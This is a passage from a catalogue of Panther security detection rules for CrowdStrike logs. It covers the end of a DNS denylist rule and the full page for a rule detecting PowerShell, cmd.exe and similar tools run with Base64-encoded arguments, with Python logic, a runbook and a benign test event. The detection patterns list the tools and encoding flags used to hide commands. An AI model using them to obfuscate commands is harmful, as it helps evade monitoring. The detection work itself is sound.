  2. Search CrowdStrike DNS logs for all queries to the same DomainName from the affected host (aid) in the past 30 days to determine when it was first queried and the frequency of attempts
  3. Hunt across all endpoints for other hosts querying the same denylisted domain using CrowdStrike IOC search to identify additional compromised systems in the campaign
DedupPeriodMinutes: 15
SummaryAttributes:
  - DomainName
  - aid
  - p_any_domain_names
  - p_any_ip_addresses

Stages and Predicates

Fires on Crowdstrike.DNSRequest, Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • any of:
    • p_log_type is not Crowdstrike.FDREvent
    • fdr_event_type is DnsRequest
  • DomainName is one of baddomain.com
Alert deduplication
repeat matches within 15m group into one alert

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
fdr_event_typeneDnsRequestexcludes:fdr_event_type field:"fdr_event_type" value:"DnsRequest"
p_log_typeeqCrowdstrike.FDREventexcludes:p_log_type field:"p_log_type" value:"Crowdstrike.FDREvent"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
DomainName
ComputerName

Response runbook

1. Query CrowdStrike ProcessRollup events for ContextProcessId matching this DNS request to identify the process, user account, and parent process that initiated the query to DomainName

2. Search CrowdStrike DNS logs for all queries to the same DomainName from the affected host (aid) in the past 30 days to determine when it was first queried and the frequency of attempts

3. Hunt across all endpoints for other hosts querying the same denylisted domain using CrowdStrike IOC search to identify additional compromised systems in the campaign

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "ConfigBuild": "1007.4.0014301.11",
  "ConfigStateHash": "507116305",
  "ContextProcessId": "111111111111111111",
  "ContextThreadId": "0",
  "ContextTimeStamp": "2021-10-08 19:55:04.448Z",
  "DomainName": "baddomain.com",
  "EffectiveTransmissionClass": 2,
  "Entitlements": "15",
  "RequestType": "1",
  "aid": "00000000000000000000000000000001",
  "aip": "111.111.111.111",
  "cid": "00000000000000000000000000000002",
  "event_platform": "Mac",
  "event_simpleName": "DnsRequest",
  "id": "11111111-0000-1111-0000-111111111111",
  "name": "DnsRequestMacV1",
  "p_any_domain_names": [
    "baddomain.com"
  ],
  "p_any_ip_addresses": [
    "111.111.111.111"
  ],
  "p_any_trace_ids": [
    "00000000000000000000000000000001",
    "00000000000000000000000000000002"
  ],
  "p_event_time": "2021-10-08 19:55:04.448Z",
  "p_log_type": "Crowdstrike.DNSRequest",
  "p_parse_time": "2021-10-08 20:09:41.933Z",
  "p_row_id": "2ed00000000000000000000000000001",
  "p_source_id": "11111111-1111-1111-1111-111111111111",
  "p_source_label": "Crowdstrike",
  "timestamp": "2021-10-01 00:00:00.000Z"
}

Execution of Command Line Tool with Base64 Encoded Arguments

#
Severity
medium
Entities
ip_addresses
Log types
Crowdstrike.FDREvent
Tags
Execution, Obfuscation
Reference
www.crowdstrike.com
Source
github.com/panther-labs/panther-analysis

Detects the execution of common command line tools (e.g., PowerShell, cmd.exe) with Base64 encoded arguments, which could indicate an attempt to obfuscate malicious commands.

MITRE ATT&CK coverage

TacticTechniques
ExecutionNo specific technique

Detection logic

from panther_base_helpers import is_base64
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context, get_crowdstrike_field

DECODED = ""

# List of command line tools to monitor for execution with Base64 encoded arguments
COMMAND_LINE_TOOLS = {
    "powershell.exe",
    "cmd.exe",
    "cscript.exe",
    "wscript.exe",
    "rundll32.exe",
}

# PowerShell flags that signal the following argument is base64-encoded.
# Includes the full parameter name and common abbreviations used in the wild.
# Scanning all tokens without this check causes FPs on legitimate -Command invocations
# whose natural language arguments happen to pass base64 charset validation.
POWERSHELL_ENCODING_FLAGS = {"-encodedcommand", "-enc", "-en", "-e", "-ec"}


def _tokenize_command_line(cmd: str) -> list:
    """Normalize and split a command line string into tokens, skipping the process path."""
    cmd = cmd.replace("\u2013", "-")
    cmd = cmd.replace('"', " ")
    cmd = cmd.replace("'", " ")
    cmd = cmd.replace("=", " ")
    return cmd.split(" ")[1:]


def _find_powershell_encoded_arg(tokens: list) -> str:
    """Return the decoded value of the argument following a PowerShell encoding flag, or ''."""
    for i, arg in enumerate(tokens):
        if arg.lower() in POWERSHELL_ENCODING_FLAGS:
            # Skip empty tokens introduced by quote/equals stripping (e.g. -enc "b64==")
            j = i + 1
            while j < len(tokens) and tokens[j] == "":
                j += 1
            if j < len(tokens):
                decoded = is_base64(tokens[j], min_length=12)
                if decoded:
                    return decoded
    return ""


def _find_base64_token(tokens: list) -> str:
    """Return the first decoded base64 token found, or ''."""
    for arg in tokens:
        decoded = is_base64(arg, min_length=12)
        if decoded:
            return decoded
    return ""


def rule(event):
    # pylint: disable=global-statement
    global DECODED

    # If there is no process name available (or the CrowdStrike data model is missing) don't alert
    process_name = event.udm("process_name")
    if not process_name:
        return False

    # Filter by CS event type, Windows platform, and process name
    if not all(
        [
            event.get("fdr_event_type") == "ProcessRollup2",
            event.get("event_platform") == "Win",
            process_name.lower() in COMMAND_LINE_TOOLS,
        ]
    ):
        return False

    tokens = _tokenize_command_line(event.udm("cmd", default=""))

    # For PowerShell, base64 only appears as the argument immediately following an
    # encoding flag. Only evaluate that specific token rather than every token,
    # which would cause FPs on -Command invocations with plain English arguments.
    if process_name.lower() == "powershell.exe":
        DECODED = _find_powershell_encoded_arg(tokens)
    else:
        # For other tools (cmd.exe, rundll32.exe, etc.) base64 can appear anywhere
        DECODED = _find_base64_token(tokens)

    return bool(DECODED)


def title(event):
    process_name = event.udm("process_name") if event.udm("process_name") else "Unknown"
    process_name = process_name.lower()
    parent_process_name = get_crowdstrike_field(event, "ParentBaseFileName", default="Unknown")
    parent_process_name = parent_process_name.lower()
    return (
        "Crowdstrike: Execution with base64 encoded args: "
        + f"[{parent_process_name}] -> [{process_name}]"
    )


def alert_context(event):
    context = crowdstrike_process_alert_context(event)
    context["decoded arg"] = DECODED
    return context

Rule specification

AnalysisType: rule
Filename: crowdstrike_base64_encoded_args.py
RuleID: Crowdstrike.Base64EncodedArgs
DisplayName: Execution of Command Line Tool with Base64 Encoded Arguments
Enabled: true
LogTypes:
  - Crowdstrike.FDREvent
Tags:
  - Execution
  - Obfuscation
Severity: Medium
Description: Detects the execution of common command line tools (e.g., PowerShell, cmd.exe) with Base64 encoded arguments, which could indicate an attempt to obfuscate malicious commands.
Runbook: Investigate the endpoint for signs of command line tool execution with Base64 encoded arguments. Review the executed command, decode the Base64 string, and analyze the original content.
Reference: https://www.crowdstrike.com/blog/blocking-fileless-script-based-attacks-using-falcon-script-control-feature/
DedupPeriodMinutes: 60

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • process_name is present
  • fdr_event_type is ProcessRollup2
  • event_platform is Win
  • process_name is one of powershell.exe, cmd.exe, cscript.exe, wscript.exe, rundll32.exe (case-insensitive)

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event_platformeq
  • Win
field:"event_platform" kind:eq value:"Win"
fdr_event_typeeq
  • ProcessRollup2
field:"fdr_event_type" kind:eq value:"ProcessRollup2"
process_namein
  • cmd.exe transforms: tolower
  • cscript.exe transforms: tolower
  • powershell.exe transforms: tolower
  • rundll32.exe transforms: tolower
  • wscript.exe transforms: tolower
field:"process_name" kind:in
process_nameis_not_null
  • (no value, null check)
field:"process_name" kind:is_not_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
CommandLine
TargetProcessId
RawProcessId
ParentBaseFileName
ParentProcessId
ImageFileName
SHA256HashSHA256HashData
platformevent_platform

Response runbook

Investigate the endpoint for signs of command line tool execution with Base64 encoded arguments. Review the executed command, decode the Base64 string, and analyze the original content.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "ConfigBuild": "1007.3.0016606.11",
  "ConfigStateHash": "3645117824",
  "Entitlements": "15",
  "TreeId": "4295752857",
  "aid": "877761efa8db44d792ddc2redacted",
  "aip": "1.1.1.1",
  "cid": "cfe698690964434083fecdredacted",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "98a4762f52a",
    "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -EncodedCommand \"aGVsbG93b3JsZA==\" -SomeExtraCommand \"HelloWorld\"",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3645117824",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "c031e215b8b08c752bf362f6d4c5d3ad",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "1024",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682368414.719",
    "ProcessSxsFlags": "64",
    "RawProcessId": "3120",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "840e1f9dc5a29bebf01626822d7390251e9cf05bb3560ba7b68bdb8a41cf08e3",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "112532918543",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 211106232533012, 263882790666253",
    "TargetProcessId": "10413665481",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "877761efa8db44d792ddc2redacted",
    "aip": "1.1.1.1",
    "cid": "cfe698690964434083fecdredacted",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "b0c07877-f288-49f8-8cb3-150149a557b2",
    "name": "ProcessRollup2V19",
    "timestamp": "1682368416719"
  },
  "event_platform": "Win",
  "event_simpleName": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "b0c07877-f288-49f8-8cb3-150149a557b2",
  "name": "ProcessRollup2V19",
  "p_log_type": "Crowdstrike.FDREvent",
  "timestamp": "2023-04-24 20:33:36.719"
}